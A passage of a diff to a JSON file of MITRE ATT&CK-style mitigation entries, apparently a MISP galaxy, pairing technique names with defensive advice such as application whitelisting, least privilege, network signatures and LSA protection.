AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d" - }, - "value": "Audio Capture Mitigation" - }, - { - "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab" - }, - "value": "New Service Mitigation" - }, - { - "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", - "meta": { - "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6" - }, - "value": "Scripting Mitigation" - }, - { - "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting.[[CiteRef::Secure Host Baseline EMET]]", - "meta": { - "uuid": "f94033d0-906f-4ecf-9313-d498582868c6" - }, - "value": "Rundll32 Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514" - }, - "value": "Fallback Channels Mitigation" - }, - { - "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", - "meta": { - "uuid": "374ad611-a77f-46db-9487-36ea2705c1d1" - }, - "value": "Hidden Window Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2" - }, - "value": "System Service Discovery Mitigation" - }, - { - "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. Protect generated event files that are stored locally with proper permissions and authentication. Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", - "meta": { - "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0" - }, - "value": "Indicator Removal on Host Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may be executed through service abuse by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs.", - "meta": { - "uuid": "9378f139-10ef-4e4b-b679-2255a0818902" - }, - "value": "Service Registry Permissions Weakness Mitigation" - }, - { - "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488" - }, - "value": "Timestomp Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40" - }, - "value": "System Network Configuration Discovery Mitigation" - }, - { - "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.", - "meta": { - "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf" - }, - "value": "Execution through Module Load Mitigation" - }, - { - "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.", - "meta": { - "uuid": "43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5" - }, - "value": "Shared Webroot Mitigation" - }, - { - "description": "Limit privileges of user accounts and remediate [[Privilege Escalation]] vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges.[[CiteRef::Powersploit]]\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "f2cb6ce2-188d-4162-8feb-594f949b13dd" - }, - "value": "Scheduled Task Mitigation" - }, - { - "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332" - }, - "value": "Binary Padding Mitigation" - }, - { - "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4" - }, - "value": "Network Sniffing Mitigation" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b" - }, - "value": "Data Encrypted Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7" - }, - "value": "Standard Cryptographic Protocol Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "24478001-2eb3-4b06-a02e-96b3d61d27ec" - }, - "value": "Multilayer Encryption Mitigation" - }, - { - "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae" - }, - "value": "Masquerading Mitigation" - }, - { - "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da" - }, - "value": "File System Logical Offsets Mitigation" - }, - { - "description": "Restrict user's abilities to create Launch Agents with group policy.", - "meta": { - "uuid": "82214f89-9374-4169-8d93-1ea6df7c76e7" - }, - "value": "Launch Agent Mitigation" - }, - { - "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent [[Credential Access]] techniques that may allow an adversary to acquire [[Technique/T1078|Valid Accounts]] that can be used by existing services.", - "meta": { - "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173" - }, - "value": "Remote Services Mitigation" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d" - }, - "value": "File Deletion Mitigation" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", - "meta": { - "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33" - }, - "value": "Data Compressed Mitigation" - }, - { - "description": "Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.", - "meta": { - "uuid": "5d9342dd-12f8-40ac-bf74-fb9d67824ae0" - }, - "value": "LC_LOAD_DYLIB Addition Mitigation" - }, - { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", - "meta": { - "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5" - }, - "value": "Authentication Package Mitigation" - }, - { - "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can’t be leveraged for privilege escalation.", - "meta": { - "uuid": "e76834ef-0a68-4d78-818e-9f5d9482e011" - }, - "value": "Startup Items Mitigation" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.", - "meta": { - "uuid": "65eeaa91-556b-4ff7-88bc-9b387f8bbe1a" - }, - "value": "Launch Daemon Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting[[CiteRef::Beechey 2010]] tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", - "meta": { - "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b" - }, - "value": "Local Port Monitor Mitigation" - }, - { - "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.[[CiteRef::TechNet RDP NLA]]\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.[[CiteRef::TechNet RDP Gateway]]\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "c085476e-1964-4d7f-86e1-d8657a7741e8" - }, - "value": "Accessibility Features Mitigation" - }, - { - "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.[[CiteRef::TCG Trusted Platform Module]][[CiteRef::TechNet Secure Boot Process]]", - "meta": { - "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751" - }, - "value": "Bootkit Mitigation" - }, - { - "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [[Technique/T1078|Valid Accounts]].\n\nAlso limit opportunities for adversaries to increase privileges by limiting [[Privilege Escalation]] opportunities.", - "meta": { - "uuid": "9d16ddc5-abbf-438c-88f4-84a21a08adec" - }, - "value": "Access Token Manipulation Mitigation" - }, - { - "description": "Take measures to detect or prevent techniques such as [[Technique/T1003|Credential Dumping]] or installation of keyloggers to acquire credentials through [[Technique/T1056|Input Capture]]. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.[[CiteRef::Microsoft Securing Privileged Access]]. Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.[[CiteRef::TechNet Credential Theft]][[CiteRef::TechNet Least Privilege]]", - "meta": { - "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf" - }, - "value": "Valid Accounts Mitigation" - }, - { - "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", - "meta": { - "uuid": "388606d3-f38f-45bf-885d-a9dc9df3c8a8" - }, - "value": "Disabling Security Tools Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b" - }, - "value": "Query Registry Mitigation" - }, - { - "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology.[[CiteRef::TCG Trusted Platform Module]]", - "meta": { - "uuid": "25e53928-6f33-49b7-baee-8180578286f6" - }, - "value": "System Firmware Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "da987565-27b6-4b31-bbcd-74b909847116" - }, - "value": "Multiband Communication Mitigation" - }, - { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2" - }, - "value": "Remote System Discovery Mitigation" - }, - { - "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1" - }, - "value": "File and Directory Discovery Mitigation" - }, - { - "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses.[[CiteRef::Powersploit]]\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able.[[CiteRef::Seclists Kanthak 7zip Installer]]\n\nTurn off UAC's privilege elevation for standard users and installer detection for all users by modifying registry key\n[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000; to disable installer detection, add: \"EnableInstallerDetection\"=dword:00000000.[[CiteRef::Seclists Kanthak 7zip Installer]]", - "meta": { - "uuid": "1022138b-497c-40e6-b53a-13351cbd4090" - }, - "value": "File System Permissions Weakness Mitigation" - }, - { - "description": "Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d5dce4b9-f1fa-4c03-aff9-ce177246cb64" - }, - "value": "Service Execution Mitigation" - }, - { - "description": "Disable Autorun if it is unnecessary.[[CiteRef::Microsoft Disable Autorun]] Disallow or restrict removable media at an organizational policy level if they are not required for business operations.[[CiteRef::TechNet Removable Media Control]]", - "meta": { - "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445" - }, - "value": "Communication Through Removable Media Mitigation" - }, - { - "description": "Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.\n\nIdentify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "e8d22ec6-2236-48de-954b-974d17492782" - }, - "value": "Two-Factor Authentication Interception Mitigation" - }, - { - "description": "Prevent plist files from being modified by users by making them read-only.", - "meta": { - "uuid": "7ebfc9c0-e59a-4764-ae7d-baef9c3cd299" - }, - "value": "Plist Modification Mitigation" - }, - { - "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", - "meta": { - "uuid": "13d64a9b-0ba0-42df-8e59-ff8bcf11bba5" - }, - "value": "Application Shimming Mitigation" + "value": "Windows Management Instrumentation Event Subscription Mitigation" }, { "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", @@ -731,46 +52,18 @@ "value": "Standard Non-Application Layer Protocol Mitigation" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee" + "uuid": "8e354454-7ec6-4fc5-a070-e16dee5c69c0" }, - "value": "Data Transfer Size Limits Mitigation" + "value": "Deobfuscate/Decode Files or Information Mitigation" }, { - "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] that are capable of auditing and/or blocking unknown DLLs.", + "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [[Technique/T1038|DLL Search Order Hijacking]]. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate.[[CiteRef::Github UACMe]]", "meta": { - "uuid": "10571bf2-8073-4edf-a71c-23bad225532e" + "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f" }, - "value": "AppInit DLLs Mitigation" - }, - { - "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", - "meta": { - "uuid": "ec418d1b-4963-439f-b055-f914737ef362" - }, - "value": "InstallUtil Mitigation" - }, - { - "description": "Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612" - }, - "value": "Shortcut Modification Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3" - }, - "value": "Custom Command and Control Protocol Mitigation" - }, - { - "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294" - }, - "value": "Automated Exfiltration Mitigation" + "value": "Bypass User Account Control Mitigation" }, { "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations.[[CiteRef::MSDN File Associations]]\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", @@ -780,11 +73,11 @@ "value": "Change Default File Association Mitigation" }, { - "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network.[[CiteRef::TechNet Firewall Design]] These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", "meta": { - "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f" + "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80" }, - "value": "Peripheral Device Discovery Mitigation" + "value": "Exfiltration Over Alternative Protocol Mitigation" }, { "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", @@ -794,123 +87,11 @@ "value": "Standard Application Layer Protocol Mitigation" }, { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", "meta": { - "uuid": "979187f5-da2a-4c9d-b57e-37f23da828ec" + "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40" }, - "value": "Cron Job Mitigation" - }, - { - "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [[Technique/T1078|Valid Accounts]].", - "meta": { - "uuid": "da8a87d2-946d-4c34-9a30-709058b98996" - }, - "value": "Input Capture Mitigation" - }, - { - "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", - "meta": { - "uuid": "fc01bee2-a300-4eec-beb9-2291cc464578" - }, - "value": "Launchctl Mitigation" - }, - { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", - 